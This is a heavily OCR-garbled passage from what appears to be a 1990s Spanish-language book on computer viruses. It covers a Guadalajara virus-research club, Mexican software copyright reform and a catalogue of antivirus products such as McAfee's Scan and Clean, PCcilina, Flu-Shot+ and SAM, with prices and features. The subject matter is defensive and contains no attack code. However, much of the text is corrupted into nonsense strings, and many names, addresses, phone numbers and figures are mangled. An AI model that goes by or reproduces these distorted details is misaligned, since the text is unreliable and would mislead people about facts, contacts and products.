Lo que debe hacer cJdil quien en su lugar de residencia es 
ponerse en contacto con los usuilrios de compulildoras de su 
localiLlild, y reunirse periódicamente para estudiar, 1m·estig<1r 
y proponer snluciones a estos probkmns, y luego comunicar­
se con grupos de usuanos de otros p<~íses para compartir los 
conocimientos adquiridos, y cu.l!ldo sea posible elttborar 
programíls illlliv1rus que pueden poner .:1 disposiCión del pú­
bliCo por medio de los BBS. 

En Cuadilliljaril, t-.·téx1co, se hil venido reílltz<lndo un tr.lba­
jo e>..cepciont~l de org<~nizaciún gr.lci.ls" la constancia de va­
rios USU.U1os de computndoras que, con~o Fernando Su,lrcz 
Arias, t\.·larcos Gulilén, y utrns, h.:1n logra Jo crear el Club dt: 
Virólogos di.' Microcowp11lodoras dl, C!wdalojnra, A.C, que sesHl­
na regui<lrmente hace Y J. <1 aíios, y h.1 logrado rccoplim gr<1n 
cantidad de infonn<Jción. A ellos, graCias por su inv,llu;tble 
labor en nombre de todos tl qutenes nos preocup.1 y ocupa 
este prnblt'lllil de los virus mform,iticos. 

L1 sede del Club está en e(/¡¡:>f¡f¡¡fo A"uaH:odtJ de Co111pula­
cióll, Ennquc Dí.1z de León Sur No. 489, Cu.llLllajara, ).lhsco, 
Méx1co, con IL•léfono: (36) 29-J.lOSI, dl'i coordmador. Aquí se 
proporciona asesoría gr«tuit.l sobre problernJ.s de virus a 
quien lo solicite y se ofrccl'n cursos p.~ra usuanos o empresas 
a precios muy accestbles. 

8.4 Legislación sobre derechos de autor 

En México, luego de hilber discutido si se debían incluir en el 
reg1stro de patentes, b SecrL'Iaría dt• f.tlllmcióll P!Íb/ica expidió 
en 1984 un acuerdo autorizando !.1 inclusión de los progra­
mas de computnción en el J<cg1slro PIÍblico del Den·l..'lw de Au­
lor, pero es h.1sta fin<lles de 1991, cuando las ílutoridadcs 
competentes promulgan las reformns a b Ley Fedaal dL· DeJe­
ellOs de ;1ufor, incluyL•ndo ¡¡J softw.He como sujL'to de protec­
ción autora! e imponiendo pen.:1s cons1der<Jbles, para lns 
infrilctores de esta lcv. 

liunh1l>n en t-.k•xie<; se te.1ilzaron e\'enlos propiciados por la 
JlrOCI/1 11tf111 Ía red cm/ de /11 l<t'flÚ/Jflnl, como Ja Sl'rie dl' C\ Hlfl'ren­
Ci<lS de cap.1cit,1ciún /_o;:; a~pcc/o;:; pc11alc~ dd {)¡•¡ccJw dt' Allftlr, 
en dondl' se e.xpusieron tl'm.l::; como[/ tfc/¡Jo de J1!111ft'l ía ~o/J~t' 
los pws111111ns de COIIIJI!If!ICJÓII, <1 carhll dl'l Lic. Luis Vl'r,¡ V<~llt!jo 
y del C. 1'. Marco AntoniO t\1erino P., dl·.st.lCados mÍL'Illbro.s de 
la Asociac1á11 Nt~oo11al de la lndu;:;/na de {Jrosnmuzs pou1 Cmzp11-
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Figure 8.5 
El desarrollo de 
la tecnología del 
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próctlca de la 
plralería. hacen 
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sobre derechos 
de autor y virus. 

/adoras (ANIPCO). Para darse cuenta de lo grave del proble­
ma de la piratería a nivel mund1JI, según datos de la Busi11css 
Software Alliance (BSA), la industria de software perdió más 
de 12 800 millones de dólares por ese concepto. 
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Ap<~rtir de b prohier¡¡ción de los t'l/115 lllformá!ico:;, se h11 
des¡¡rroi!Jdo igu;dmentc uní! mdustna t..kdicudí1 a la 

creaCión de progr.11llí1S, ll11mados l'IICI/11115 o lli11Wlfi1S, que tic· 
nen como fm<~lid.ld detectarlos, erradJC,ulus y prevenir l<ls 
lnfcccJUilt'S I'lrlllt'S. Como se hi1 mencion11do, el problem<1 con 
los virus es que cstJn e~cntos en códigos de program,1c1ón 
muy diferentes que l1cnen c.uacterísticas de funcionJmiento 
muy di\·ersJs, In qul' h.1ce que lt)~ progr.lmas ani1I'irus, 1111/1· 

bnillúlS n l'iiCIIIl/15, como St..' k·s dl.'nomm.l, sólo seiln eficacl.'S 
para combatir el ttpo de v1rus par.l el cual fueron d1scñados 

9.1 Cruzada anlivirus 
Quien sepa progr.1mar, cómo utd1z.H l.ls cornputadorl'IS e,·¡. 
!ando nesgos, o .1lgún lfll(tl o "lip" paríl pmtegL•rse lk hls ,.¡rus 
mform.ítiCL)S, debe tbrlo a conocer, .1pn)\'echando cualqlllcr 
medio, a la comunJdaJ inform.'l!Je<l. AsimiSmo, si ha desarro· 
lladtl algl'lll progr.una de protecnón, podrí,1 ponerlo .11 ak.:m­
CL' de todos medillnte los BBS locales o tn\ernílcJOnales. 

Existe gran cunt1dad de VIILIII/11~, pero debemos tener en 
cuenta que se han descubierto muchos m;1s virus, los cuales 
<HIIl.llios a lus modificaciones que se les <~grL'g.m, rq)fcsentan 
grnndes retos para los program,1dorcs que se dedican n .:l)'U­

dJ.r en l.:1 cruzad.l antivirus En Estíldns Unidos, sin emb<~rgo, 
e>..istcn asociaciones que se han dedicado <1 b creJción de 
program<~s llllfll'ilus que ayudan u errad1C..1r muchos vims, y 
se aclualizíln de tal manera que son Cilpilces de reconocer un 
virus, días después de hJberse dado i1 conocer 

A continu<1ciún presentamos una list.-. de los progr<Hnils 
anfiPin1s o iHJCII/1115 más conocidos, desarrollados en Colombia, 
Estados Unidos, México y otros países del mundo, mcluyen­
do, cuando es posible, el precio aproximado o equivnlente en 
dól.ues, y una breve descripción de sus principales funcio­
nes, sus ct~ractcrísticas y los procedimientos neccs.uios p<~ra 
su correcta <~phcilción en In lucha contra los virus. Adcm<Ís se 
incluye unn lista de programns aulá1miS o de utilidades, del 
tipo Slwn•Jvllrc que se pueden conseguir a través de la red 111-
ft:nrt'l y pueden ser la solución¡¡ su problema p<Hticular de 
infecciones VJrillL'S. 

9.1.1 Colombia 

};.- H.ombicilina. Antibiótico p<1ra proteCCIÓn que elimina el 
VirtiS de Turín o de la pl'lvf¡fa, creado en julio de lYtN en la 
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Figura 9.1 
PCcJIJno es un 
onlivirus muy 
comentado 
entre los 
es! ud1osos de los 
virus y ha sido 
desarrollado en 
la Universidad 
de los Andes en 
Colombia. 

Uni\'ersidad Lk los Andes para contrarrestilr lns virus de 
bs computador<~s IB0.1 y sus compatibles. Se utilizó par<J 
erradicar de las CDmputadurJs de esa Uni\'ersidad el men­
cionado VIrus, pero bs l11llll<1ciones de los programas e\is­
tcntes y de l<1 misma i{ombicilina -que sólo <1IJcJ. ,1 ese 
virus específico-, llevó a ];:l cn..•nciún del prngr<1ma PCcilinll, 
que )'J es ct1paz di.! impedir Infecciones de múltipll's tipos 
de virus. 

'; PCcilina. Se trt~lil de un <llllivirus de amplio espectro. 
Cuando se cjccut,l un progr;~míl, funciona cxact<~mente 
Igual que stno e~tuviL'f,l presente la vacun<1; no obstruye la 
memoria y se puede usar conjuntamente con progr.l!nJs 
residentes (T<._•rmin<~te .md St<~y Residen!, TSR) con la L·micil 
desventaja de qut.! <1l c<~rg<~r un pro¡.;r.1ma protL>gido, se nu­
lélrá una (_k·moríl de apro:\imadamente 1 segundo por caJa 
10 kB de ilrchivo, y que al encender b computador<~, la de­
mora de carg.1 desde un disCll fi¡o ser<l de 2 se¡,;undos. 

Este antiv1rus hJ s1do muy comenl<~do en los foros dedica­
dos a virus en l.1s reLks de 1111!'1111'1 y COIIIJ'IIS('rl'e, por su 
versatilidJd y bcihd.1d de u su, y porque su autor p<~rticipa 
en los foros de dJscus1lm c¡cerca de las mejores meLhdt~s de 
protección contr.1 los virus mform.iticos. 

' __ ¡ 
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Si un virus trJI,l de JllSIJIJJSe en J,¡ memnr;,,', lo seJ1al,l 1' 

t~demí1s lo-L·Iimina Su a~)lJC.lCJÓn m,ls gcnL'r,ll es !.1 prnteé­
ción de d1scns f1ios. i\1o L'S un prngr;HnJ rcsJdente en me­
moria v nwdlfic.Í su códign .llc.llon<lnlL'nte, por lo CL~tll se 
h;:¡ce p-dciJL',lllleniL> impos1hle disl>J"i;-H un virus p.1r<1 e\'.1-
dirlo 

,_ No Viernes. Es la solucit'm cnntrz-~ el \'Írus de jL·rusaiL'n 
que-.1 l<lc,l Jo...; .1 t chl\'OS L"jccu lt~bk's. Se i nst.1l.1 L'tl 1.1 lllL'lllOI i.l 
cuando se ejccuta un plogr.uni1111fL'cti1do, cont.lmtn;Jndn a 
su \'L'Z otros programílS y mndJfJctmdu 1.1 longitud de los 
mchl\'t)S El ,mtl\;lrus con 1ge L•l\,lm.ulo del <lrchi\·n, tegre­
~;lndolo .1 su est.1dn not m.ll; ,-enfK.l un dtrectono y todos 
los subdirectorins que é~te contenga Incluye un,1 opcit'ln 
par,l l.1 dL'Iección y elimin.1nún del \'irus, .1sí comoun.lup­
cil)\1 p<1ra ~l'lecCJon<lr 1.1 \'l'rlfic;tción de los dilL'ctorios_ 
Par<1 m.ls inftlrlll.KJt)n sobre l'SIL' p.1quete puL•de L'Scribir <1: 

j01ge \),wid llt!rfL'fil 
Ulll\'t'l'SJd.lll de lus ,\ndL'S 
Dt'part,l!lll'llln de StstemC~S y Ct)lllput.JCJÚll 
Cr.1 !.1 E No. 1 S ;\-70, Ap;11 t<1du i\l>teo.~lJ7h 
Bosut.l ()_E_, Ct)ltlrnbi;:¡ 

9.1.2 Estados Unidos 

No c.1be dl!li<l de que si ,¡lgu¡en est,l pllnJendotudo de su p¡¡rte 
en eslíl luchCt ll!lllt'll'lll es Jnhn i\k~\feL' V sus ,JSUCJ<l.dos en Stmta 
CIM<l, CJiiiorni<l. El grupo conocido éonw ¡\fo\¡4:e ri:':'oC/alcs, 
junto con ~1 mi~mo, h.:m brindado <1 los usu.-.rios de cnmput.l­
ción los progr.un.Js m.í.s confi<1bks p;na 1.1 elimin.lCJÚll de \'Í­
rus. Elnúmeru de versiún de c.1da pn)gr.1m.1 cnrresptHldía.ll 
númL'fll de \'Jnts que L'liminaba, PL'ro actu.-.lmenle y.1 nxono­
ccn unos 3 000 virus dlÍL'rentes. 

Por \;1 v.1lios.1 l<1hor que en la cruz<1da <~ntivlrill h.1 desenl­
pcllado john Me Afee, a continuilciún agru¡~·u.nos dns ~ic I~Js 
muchns antivirus des.trro\l,tdos por la prestt~IOSól asocJaCJon 
que él dinge. Por i<llmottvo, no los encontr.tr.l u~ted i~l~lui­
dos en ellist.-.do .tlbb~tJcn quL' rcl.-.cion.l los demas <~Illl\'Jrus 
de Est.HlllS Unidos_ EllllS sun. Cft'lltl \'Sean. 

Los prngram.1s se llhticm·n. pnr n{edio de múdL'lll, del ~el­
vicio de cilrleler.l clectJúnic,J (Bulle! in Board Sen'JCI.!, (BBS) 
de Me Afee Associates, Jl,lmtmdo al teléfono (-108) 988-·WO-t, 
con 25 línL'JS o escribicndo ,1 la sede dt! l<1 .lSOlJ.lciún. L.1s ofi­
cinas esi~Úl ubicad.1S en d 2 710 W.1lsh AvenuL', Suite 200, 
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occ-.:.1 Cloro, CA 95051-0963 U.SA., y su teléfono e; el (408) 
.:~-=-.3832. El med10 por el cual se distribuyen estos pro­
:::-..:....-:~..15 es el de softwnrc co111parl1do (Sharewnre), melktnte el 
:-.::::.J de una cuota de suscripción o rcg1stro <:~corde con el 
~:-.:...:r.1ma que se obtiene. 
· -:-2mbién se pueden adquirir los programJs antivirus J tra­
·.·;-:: ~k lo~ d1stnbuidores en bs diferentes rq~inncs idJOm<lti­
_·:;._~. En el disquete que se incluye con el libro, cncontr.1rá los 
:-:-~'-::r.lmas Sean v Clean en sus versiones ll.JO V 117 -con fe­
~----' -,_k julio de 199-t, los cuti!cs dekct.m y l'liminJn unos 2 738 
·.·:~.1s conocidos y sus modificaciones, v el archivo 
_..;.(E:'\!TS TXl: donde podrá localizar .11 distrib¡Jidor'rn.-ís cer­
..::..:....-~, .1 su localidad. Se recomienda Jcudir a él par<1 obtener 
2o;::'<-'ficios adicionales como asislellcia fL'CIIICII, asc:.;oría infor~ 
-:_;::ctl, lllflii!Wfcs t'll t~spmiol, licencllls corporaliPas y lo mjs im­
s--.'~t.li11C, trallquilidad para su co•1ciellcin. 

;... (lean versión 117. Estl! programa es el complemento de 
~--·''''igualmente desn.rrollado por McAfee Associates. 
::-.:.IJJ busca en la memoria de la computJdora y en 1.1 uni­
d.ld de disco indiGl.da, la existencia de h<1sta 2 738 tipos de 
'lrtiS e informa cuM encontró. Una \'ez identificado el vi­
rus debe procederse a ejecutar Clcnn, el cu11llos eliminn y 
luego rep.tra el disco infecl<ido. En la mayoría de los casos, 
Clt'/111 reconstruye los programas dañados y repara t•l ~lsle­
m.1 de la computadora, regresándolo a su modo de upera­
ci~ín normal. 
Si un virus que no es conondo es detectado en la memoria 
de la computadora o en el disco, Clean procede a eliminar­
h) evitando así su propagnción; pero antes de borrar el o 
ll1S archivos, pregunta al usuario Si debe contmu<lf o si se 
c.mcela el proceso. 
Cit'rm es uno de los mejores program<Js <~nt1bióticos que 
e~isten par<1 las enfermedades informáticns. Tiene entre 
sus múltiples cualidades una autoprueba que se <Jctiva, JI 
C<lfg;use, para verificar si se ha modificado en alguna for­
ma el program<1; y si es ése el caso, da un aviso de peligro, 
pues es posible que alglín virus sea el caus<~nte de esa mo­
difiGKiÓn. El medio por el cual se di~tnbuye este progra­
ma es Shan·ware, mediante una cuota de registro de 35 
dólares y 9 para las octualizacinnes, o a través de los distri­
buidores csp;ucidos en todo el mundo. 
Todos los prn¡?!.~lltaS de McAfec cuentan con una cxtcns<J 
documentac•~-~~~ que para utilizar las opciones de los anti-

"""'!"'"" --

Figura 9.2 
El programa 
Sean de McAfee 
detecta un virus 
e Indica el 
nombre 
genérico -entre 
corchetes- con 
el cual lo 
reconoce Clean. 

Figura 9.3 
Clean remueve 
el virus 
detectado por 
Sean, 
simplemente 
Indicando 
también entre 
corchetes el 
nombre 
genérico. SI el 
disquete está 
protegido 
contra escritura. 
remueva ésta 
poro que C/ean 
pueda concluir 
su cometido. 
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C:\K.Itf'ti\tJII7>ciCI.D b: IColl·· ·"· ·· .'-•· . · . 
CLEitl '1~38 UU7 CoPJtlght·.lm-:'J-1 by ~ee fls.s:oclll.es. ;(11El .Ü-·Jilli ~·. 
Cleaniilg _ICOIJ . . · :,._ - - '.: -~--

:SC.n~tá¡j:.amjfcJd-ui~l··~¡~~-~i':, · .. :· ··~:: .. ~-~·-· -:,· ., ·-:··· !; 
:SC.rn'lll"'l~frtEI( JWt··· ·. '. . . . ·. J ·,_'~ :,:·.:.:· 1 

Sarry,Diik'li-: ~n~~·l;~;~~-ite~~-ia-,_~~~~~~:1~~--:.· >:\. -~:- · · >-/~,. ·', _. .. -' . 
... -. 

rta'vtnl~_fDIÍnd. ! . :.; · -~: · 
; ~-,, ..... 

'. · .. 
CLFift_ '1:38 U1t~. éo~la~·.1~'11. IIY.It:flf'et:)•s~latrs_;•: (1~•n' 'DI-lBlz 

Tbh tt:fiJ"'Z('Ittl·s:oflware. M!J ·.rol be uUd bj·a·b.stnesi, go.er~anL 
:•gei-D} or,lnstlt.uttoñ wlthout•/p~Y~ent. of -.·negotlatod llccnse_fee; 
· To .negOttate a ·llcensc ree cont&et ~ree· fllssoclates· (1.001 '9BB--38JZ; . 

_., ftll use of:· ~hls soru.re h ·ecinUllord ~pon. 'CCIIIIIIII•ncc wlth the ,,:: ~, ., 
· • .- ·th:ense te,_· ut fcirlh.ln the LICD'ISE.DOC rile.:-;-:;~. . · ... ·. · .; ;:_.:;:·: . ,'., 

' .. _;; .,. ·-=~~: :;·~·,;, . .:·_,~.t~-~;:_·. -~:-- .· ~~.~·:·:_~----
Copjrlghl (e) lt:flf'ee flssnelates l'Jir.J-1'191. fllli ftlghts Res:el"\oed. ., .,-. 

_i~-' .·.J.~:.: :;··: .. _..·., ·' . . : . ·. · .... ~ 
C:-~ut-¡7>:" ~:· _._. ~:-.· .. ., ·_, .. :-:·}\·-· 

vi1us ct~mo /.l, qt~c pcnlllll' \'L'rif!C<Jr todo~ (.1tl) lns ,uchi­
\'ll~, /m¡¡ny p.lrJ \'ílno:-; thsquetes; /nnnlL'm Jl,H;J l'\'llal 
qul' SL' rev1se !.1 n1emori,1, de U iros de lo::. nds LO!llh~idtlS 

1 
f 

1 
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y utilizodos prngr;¡m<1s ~on M-Di::>k, que PL'rmite resi<Hlr.u 
el St't'IOI de Cal'gll (Boul Sector) de los dJsquL"Il's, Nt'ISCt/11, 
que detect.l y elimin<1 virus en las redL'S, V:'h1dd p;1r.1 monJ­
tore<~r lns sistem<~s y dctect,1r <~ctividaJes VIrales, y mu­
chos más. 

:;.. Sean versión 117. Como todos los Jntivirus de J¡)hn \lcA­
fec, es un<1 valiosa hcrramicnt.l en la b.ltíllb contr.1 los vi­
rus mformíÍticos. Como todos los progrilm;ts de t .... tct\ke, 
incluye un program<l de V<l!idílCIÓn (VAUDATE.CQ¡\1) de 
sus propins an:hivos piH.l poder detectar las modiflct!Cio­
ncs que le pudieran ha..:cr los VIrus, cuando están instal.l­
dns en C'i disco duro. P.Jril cvit.u que los v¡rus lllfeclPn .1 
estos ;uchivos de antivirus, Siempre utllícclos desde un 
disquete protegido conlr<~ escntura, cuo:mdo sospeche de la 
presenc1.1 de v1rus en su compul<ldnr.l. 
HílslrL'<l, f,lnto l<1s Jre.ts crític<ls del disco -sector de carg.1 
inicio! y tabla de p<~rticiones-, como tos archivos ejecuttl­
bles, a~í como las menwnas cnnvencionzd y <lila de In com­
putJdllf<l. Cu~mdn de1L'ct.1 algun.1 infección, presenta un 
aviso con el nombre del virus y un có.:hgo de identlflC<l­
ciún, p.Ha <!SÍ pndL'r elimin.Jrln con L'l progr.lma Clca11. El 
código o nnmbu.:> del virus gue presentó S mil entre corche­
tes ll debe sef inclUido al L'JCCui<Jr el comilndo C/can. Su 
precio como SJwrewnrc es de 25 dóléln.!s y 9 para li1S aclu<tli­
zacioncs, aunque las empresas y nficinns de gobierno ten­
drán que concertar licencias corporativas con bs oficinas 
de Me Afee en Estados Unidos o con alguno de los distri­
bUidores en todo el mundo. 

>-Sean versión 2.10. Cunndo <~pareció el vims NATAS en 
!vtéxico, a principios de 199-.J, McAfee AssuClates México, 
apoyado por la filinl de Estados Umdos, puso gratuit¡¡­
mente a la disposición de los usuarios de computador<~s 
una versión dual de un antivirus dcJicCido únic<~nwnle a 
este virus: Scn11Vf y Scn11FII. Lil nueva vcrs1ón 2.10 )'J. in­
cluye líl dl'lccdón y elnninación del virus NATAS, además 
de r<~Sileo:Jr y elimin<~r todos los virus reconoCidos por el 
Sean 117. 
Esta nucvJ versión de ScaJJ, se d1stnbuyc t.unbu~n como 
Slwrewarc por 25 dúl.ues y Y, las .lclualiz,KHmcs. l'rueb<1s 
rcalizad.1s por el <1utor, y en l~l club de Vmílosos de Mlao­
coiiiJllllurhHas en Cuadalapr.l, Méx1~0, h<1n dado como re­
sultado que Scm1 2.10 no IIIIIJnn completamente la 
computadora infect,H.ia por NATAS, y no realiza la n.·stau­
racióll correcta de la tnbb de p<~rllciones, pero es lógico por-

Figuro 9.4 
Lo nuevo versión 
2.10 de Sean 
detecto y 
elimino al v/rus 
NATAS. además 
de los virus 
reconocidos por 
!os anteriores 
versiones. 
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que L~~IL' \"iru~ Jltllt/Jilll/il, IIIIIIIIJ'III/1111 ~, 111/llt/IJ/t" re~pL'L'to ,1 
su n"hl1gl1 dL' dccri¡lt"ltÍII -dvcoddiC.lCH-)11-, rLT'IL':-cnt.l h.b\.1 
hoy uno de h1s mayor{•S rch1S pJr,J lns prtl).'..I.1111J:- ,mti\'lrus. 
Se rt'comwnd,J lJUL' ,Jdem.ls de Sc,1n, que h.1 deJlHlS\r,1dn 
ser unn dL' los más \"L'r~.ítde:-. anti;J¡ru:;, ~'-' .lcL·rque .1lgL·lll 
otro <Htti\'HUS p.Jr,l complt•nwnt,lr 1.1~ ;JC~HHlL'S rnntra NA­
T/15 y Lllros \'lru:-. Skilllh. Aunque t,nnb1én SL' puL'den to­
mar ntras mcdJd.Js de prolL'ccJ(.)]l y IC~t .. Jur,lción de 
des,JSIIL'S ~Jlle se mcn~:ion,lll .11 f111;d de L'~le capítulo. 

Otros ontivirus de Estados Unidos 

En la list.l que SJguc se rel.lCHln,Jn .J!gunos cnnocidos progra­
mas Jntn·Jr<Jies dc~arrull.tdus en Est.1dos Un1dns t.mtn p;~1".J 
las PC de IBl\1 como p.u-.l L1s oHnput.ldlll",lS ~bcintush. L.t 
lista nu ¡q1n~Sl'lll.l ];¡ IL'ndenci.l 111 ci.Jsiflc,ll·it')n de eShlS p10-
gr.Hll.lS de ,Kucrdo a ~u dc~empcill), y no cst.l cnmplct.l, smo 
más bien r..:oduc1Lb, fWrn pwpnlClnll,l un,¡ .1~·ud.1 L'll !.1 bLís­
qucd;~ de Jns Jllll)-;l",llllilS ílllll\'ll"U~ lll<ÍS l.ÍidL'S Jl,H,1 C.HLl Cíh(l 
particui.H de flfllblem.l PosJhknlL'niL' y.1 e:-..ist.m \'el ~wncs 
actu,Jiiz.llLlS y lns prL'L·ios h.1y.1n c.Hnhi;:¡dn -geJh!J,lllllcnk <1 
!,1 baj,J-

;.;.. Antili:lxin Versiún 1.0 Es un Jl•hlude ,11Jll\ 1r.1l dt' Alllills­
lay, que cn1nb,lll' los v1n1s SnJJt'", 11VIK 1/¡Jn/h, /NJT29 y 

1 
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ANTY en los SIS!em<~s 1\lacintosh, con un precio de lista de 
99.95 dólares. El p<1qucte cons\,1 de 2 progrílmas: Ant(fo­
xill, que ex<1min<1 los discos o los <Hchivos individu<Jles se­
leccionados por el usu<Hio, elimin<~ndo los virus que 
encuentra, y presenta un listJdn de los ílrChl\'OS infect<~­
dos, y !lJJ!t'J(Jxrn JNIT, p<~rtl prevenir infecciones en lns ar­
chivos de programas, al CJCCUIMsc algun,1 <~plicación que 
pueda h.1bcr estado infectada. 

r Anti-Virus Kil versión 1.0. Programa de protección con­
tra los virus en l<1s compu!ador,lS f'v1ncinto~h. ViL'ne en tres 
p<Hies: el dis¡10sitivo de verifJGlción Viru~G/Illrd, la v<Jcuna 
lnoculalor, que se inst,lit~ en cualquier d1sco como un .uch¡­
\'0 más para proteger JI disco contra los cambios no auto­
rizados que se le intenten h.:JCI.?r, y St11111'/D~l{, aphc,JCión 
que <~yuda .1 H.lentiiicar archivos infectados, compadndo­
los con su versiún orig111al. 
No incluye funcames de erríldicilCJÓn, por lo gue al delec­
tilr el progr.1111.1 AHfi V//'J/5 K1t un <Hchi\'o infl·ct,Hio, el 
usu.Hrn ddw rel'll11'1ai.Mio por Ullíl cnpr;¡ s.ma. Drt-C'r"'ado 
por 1:;/Aid So(/11'11/t'. tiene un precio de listil dL• 79.95 dóla­
res. RL't.}li!L'rc del si:-;tem.1 oper.llivo -L 1 o posiL'rinr, ade­
m,l.s, \'iene Lk~jHtli<..'Midn cnntr;¡ Ct1piadn Su manl'jo se 
f<1cilita pnr la ~)rc•st.•nt,1nún h.:1sada enmemís o listas de op­
ciones muy biL'n th~crladns Incluye iconos que permiten 
sclcccion.u, por nwdio dd ratlm (mouse) u Jd teclildo, las 
oper.1ciones que :,e \',111 a re;1Jizar. 

> Certus Es u11 puqut.•lc corpnriltivo muy completo de 
Fo1111datir.l11 ~Vorc, t¡ue nre~ta lt-\9 dt'1lares J{eqllll'te 512 k() 
de memoria RAt-.1 debido .1 la C<llllidad de utilidades que 
incluye. 3-1 ilrchivn~. L1s pnncipales funciones de sus mó­
dulos de servicio son Slln'cy, para moniturear las opera­
ciones mdese11bles como formateo, escrituro en la tabla de 
asign<lCÍÓn de archivos (File Allocation Table, FAT) n en el 
5re.t de carga inici<~l (Bntl! <~rea), Rcsidc11f, pmgrum.:1 resi­
dente en la memori¡¡ (Terminute and St.1y Residen!, TSR) 
que compara los pmgr.:1mas antes de su ejecuciún; HI11C 
D1sk, que contiene md!Cilclones especiales para verific,u 
los programt~s de dominio pl!blico, muy litil cuando estos 
progr.1mas SL' Cilpluran c•n los servicios de c.HieieJ,l elec­
trónica 
Shelh'r, progr<1míl de utiliLbd que g,eneril un ,uchivu nrg,a­
nizador del d¡~co fijo (Cntic¡¡J D1sk) y cop1as de la tílbl.l de 
asign.tción de ilrchivns en algún lug<~r protegido del disco. 
Estos archivos pueden ayudar .1 recuperar la tabla y];¡ in-

·-~-
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formación del drsco, ;-~un despw.:•s de fonn<Jt~·ado. Adem<ls, 
permite confundir !,1 1111'11/VJill CA-105 (CompiL•nlL'I1t.H\ 
iv1et<tl Oxide Semiconductor) pilr<t que 1,1 cnrnputildtl!'il oÍ­
vide que tiene Jnst.Jiadn un disco lijo; de L'Sta manera se 
pueden ejecut.H progr.lmas de jue~{lS sin peligro Je propi­
ciar accesos indebidllS dL' lectur,1 o cscritur.1 que pued,1n 
daJ"'.Jr la mform.1oún, u pl'rmitir .1 otros usuarios e luso de 
la máquina SJI1 que !L'ng.:1n ,1cceso al disco f1jo o duro. 
Se conlercializ,¡ sm proit'cciún contra cop1ado y aunque es 
un poco complrc<1dn de lll"talar, 1ncluye un buen m.ullla! 
de lllStruccinnes y un \'Jdeocasl'le con las llld!caclones v 
procedunil'ntos p.1ra su curnxta mstaiJcH'm. " 

;;.. Disk Ddender. Se trat.J de un SISIL'ma de tarjeta de cnn­
tro! l'\krno y ~u corresp<lllLilenlc' paquett~ de prugrom.-.~ 
f{ecti(¡c,J las dL"iincnci;lS de los SJslcmas llperativos como 
el ~15-DOS. 
lJ¡rcctM 'l~·(hlltlln,..;ics !ltr, pone,,] ,1kancL' de los u~u.uios 
ptlr 2-W dúl.ll'L'S este Jl·hJllL'te quL', sq.;ún o.;u;-. J110piuS tkc!a­
rJci<llll'S, es mi;Jlrble en !.1 prokccH.lll de SISIL'mas v, ~l1bre 
todo, dl' rl'dcs, con di~cos \VmcilL'::.tL'f que utilicen ~ntet iaz 
ST-596/-112 L'SI,ind;u, ptll'S protege .llltnm,itic.lll1L'I1te los 
diseno.; fljL1S cnntr.1 cu.l!quiL·r intento de• e:-.C!Jiur.l nn ,llt\L)ri­
zada sobre ellos, inckpendientemente de la cnnfiguraca'm 
de la rL'd y del 11po de S1stem.1 nperatl\·outrJ¡z,ldo. 

';- Flu-Shot+ Versil111 IA. Es un p10dliclo de 1\oss t-.1. Green­
berg, dl' St~/hl'lll'l' Conccpls IJt'SISII, tlliiL'll t'S otro de lns cru­
z,Jdo.s .1ntivirus. St.' drstnbuye como soft\\',liL' C(lmp.utido 
(SharL'\\'cHL') por una cuota de 10 dúlares, dnect.Jmcntc del 
autor o por ml'dio de los sen•¡cios de curteler.1 electrónica. 
El programa incluye un archivo de inslt uccrones que es 
muy conveniente leer antes de usarlo. Dl~be rnst,¡J,use en t'l 
disco duro en el directnriLl raíz. Se ~)uede incluir L'n el ;¡r­
chivo dt:' proceso por lotes AUTOEXEC.BAT p11ra que 
siempre est0 acti\'o en la lllL'mon,l. Es u11 programa del 
tipo Jesldentc en !,1 lllL'Illuria que pc1rnite escoger el tipo 
de protección que se desee y los archivos que se deben pro­
teger nmtr,l esnitura 
S1 .KtJ\'a la opciún dt.' :>u m a de \'CrifiGicit\n (Check Surn) ,1! 
momento de dMic entrad;J ,, los d.1tns, 1c>ng.1 cu1d.ldP, pues 
de 110 h.Kerlo corrt•C(illllL'Ilil', nu Slwt + Slelll p [ L' esta !.i dí.ln­
do mensajes de ,tlerla. Antes de e¡ecutílr .1lgunas aplic.Kio­
nes, se debe desactivar F/u-5/wf pulsando tres \'ClCS Ll 
tecl.1. 'J:unbu~n ~e puede desactivur el indlc<tdor (+)de la 
parte supcnor derecha puls;ando líl tL•cla ~ tres \'eCe?. 
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Si se utiliz~ con b opciún /D, desJcli\'<ll<lJniL'n::epnón o b 
interrupción 26H; con L1 opción /F no intercepl.l la inte­
rrupnún 13H, y con /C pmtege L1 menwri<~ C(\.105 en los 
equipos 286 o 306. E::.t.1 cun~1der<~Jo como uno de los me­
jores programas contr,1 los C<!ballos de Troy<L HeL¡uiere 256 
kB de mcmnrí,1 RAl\1 y elsisiL'nlil oper<Jtivu DOS 2.0 o pos­
terior. 

:,... SAI\1 (Symantcc Antivirus for f\.·I.Jcintosh) Versión 3.5. 
Anti\'irus consider;tdo como una de las vacunas m.ís po­
den>S.lS pilr.l 1.1 detccciún de los v1rus que at.1c.m ,tlas corn­
putadorJS tv1.Jcintosh, fue calif¡codo por la revi~I·l Mllcll::>t'l 
con 5 m/0111"::>, y distinguido como el me¡nr anti\·irus de 
1989, r.ltihc.índoln -pnr aquello de los cinco r,1tones- en 
1992 como el mejor. Este progr<llllil requiere l t\ lB de me­
mori.l Ht\~1 par.1 sistema6.0.-:l o superior, o 2 f\.1U si se est.í 
utilizJndo el sistern.1 7.0, e incluye un mJnual de oper.J­
C!Ón muy completo y SL'ncilln 
l'or 99 dóltlfes, Sy11ull1fl'c, de Cupertino, Cahfmni<1, ofrece 
estl' progr.lm,l t¡ue detecl.l y elimina todos los virus cono­
cidos y sus modificJciunes, así como los virus de~conuCI­
dos que puede detect.1r por medio de l.1s actividades que 
realiziln en los SISIL'Ill.lS. -Ofrece !.1 posibilidad de obtener 
tod.1s l.1s ilCtu.lhzacJOnes imnedi.1tas, que incluirán la de­
tección de los nuevos virus que se est.í.n estudizl!ldo i1Citwl­
mcnte-. Suport.1 lr<1bajo en redes corno TOPS y 
AppleShilre. 
Usado con la función /N/T ofrece protección prim.1ria, 
mientr<1s que con SAM /J¡/crct•pt se venfican de m<1ner<1 au­
tomcí.tic<J las <Jctividades sospechosns de virus. Por su par­
te, SJ\M Vims Cli11ic detecta los virus e intenta rcpar<.Jr los 
ar.:hJ\'U.S dail.ados, presentando un.1 serie de Informes que 
pueden imprimirse, con datos que se pueUcn comparar 
pnra asegur.II'Se de que no h<In ~ido modificados los an:hi· 
vos. 

>- Universal Viral Simulalor La Nntio11al HBS Socicty pre­
sPnln este progrílm<l, que no l.' S un antiv!J'us, sino unJ uti­
lería que permite cuantlfiGU 1.1 eficaCia de los piUgrilm.ls 
